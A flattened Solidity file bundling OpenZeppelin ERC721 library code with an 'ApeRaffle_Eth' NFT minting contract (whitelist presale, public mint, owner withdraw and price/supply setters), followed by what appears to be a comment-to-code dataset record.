* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
// return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), ".json")) : "";
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI)) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.0;
contract ApeRaffle_Eth is ERC721Enumerable, Ownable {
uint256 public apePrice = 80000000000000000;
uint public constant maxApePurchase = 1;
uint public ApeSup = 100;
bool public drop_is_active = false;
bool public presale_is_active = true;
string public baseURI = "https://ipfs.io/ipfs/QmRExheDJcrs1zi8AyKvVdeJYz5J9pYJ99uUdgtvGcgUvT/";
uint256 public tokensMinted = 0;
mapping(address => uint) addressesThatMinted;
struct Whitelistaddr {
uint256 presalemints;
bool exists;
}
mapping(address => Whitelistaddr) private whitelist;
constructor() ERC721("ApeRaffle_Eth", "APEONE"){
whitelist[0x0B0237aD59e1BbCb611fdf0c9Fa07350C3f41e87].exists = true;
}
function OnWhiteList(address walletaddr)
public
view
returns (bool)
{
if (whitelist[walletaddr].exists){
return true;
}
else{
return false;
}
}
function addToWhiteList (address[] memory newWalletaddr) public onlyOwner{
for (uint256 i = 0; i<newWalletaddr.length;i++){
whitelist[newWalletaddr[i]].exists = true;
}
}
function withdraw() public onlyOwner {
require(payable(msg.sender).send(address(this).balance));
}
function flipDropState() public onlyOwner {
drop_is_active = !drop_is_active;
}
function flipPresaleSate() public onlyOwner {
presale_is_active = !presale_is_active;
}
function PresaleMint(uint256 numberOfTokens) public payable{
require(presale_is_active, "Please wait until the PreMint has begun!");
require(whitelist[msg.sender].exists == true, "This Wallet is not able mint for presale");
require(numberOfTokens > 0 && tokensMinted + numberOfTokens <= ApeSup, "Purchase would exceed current max supply of APERFL's");
require(whitelist[msg.sender].presalemints + numberOfTokens <= 10,"This Wallet has already minted its 10 reserved APERFL's");
require(msg.value >= apePrice * numberOfTokens, "ETH value sent is too little for this many APERFL's");
for(uint i=0;i<numberOfTokens;i++){
if (tokensMinted < ApeSup){
whitelist[msg.sender].presalemints++;
tokensMinted++;
_safeMint(msg.sender, tokensMinted);
}
}
}
function mintApeRaffle(uint numberOfTokens) public payable {
require(drop_is_active, "Please wait until the Public sale is active to mint");
require(numberOfTokens > 0 && numberOfTokens <= maxApePurchase);
require(tokensMinted + numberOfTokens <= ApeSup, "Purchase would exceed max supply of APERFL's");
require(msg.value >= apePrice * numberOfTokens, "ETH value sent is too little for this many APERFL's");
require(((addressesThatMinted[msg.sender] + numberOfTokens) * 100) <= 100, "You have already minted in this 100 set");
addressesThatMinted[msg.sender] += numberOfTokens;
for (uint i=0;i<numberOfTokens;i++){
if (tokensMinted < ApeSup){
tokensMinted++;
_safeMint(msg.sender, tokensMinted);
}
}
}
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function setBaseURI(string memory newBaseURI)public onlyOwner{
baseURI = newBaseURI;
}
function changeMintPrice(uint256 newPrice) public onlyOwner {
// require(newPrice < apePrice); removing mandate to go lower
apePrice = newPrice;
}
function changeMintSupply(uint256 newSupply) public onlyOwner {
// require(newSupply < ApeSup); removing mandate to go lower
require(newSupply > totalSupply());
ApeSup = newSupply;
}
} | require(newPrice < apePrice); removing mandate to go lower | function changeMintPrice(uint256 newPrice) public onlyOwner {
apePrice = newPrice;
}
| 13,878,258 | [
1,
6528,
12,
2704,
5147,
411,
279,
347,
5147,
1769,
9427,
312,
464,
340,
358,
1960,
2612,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
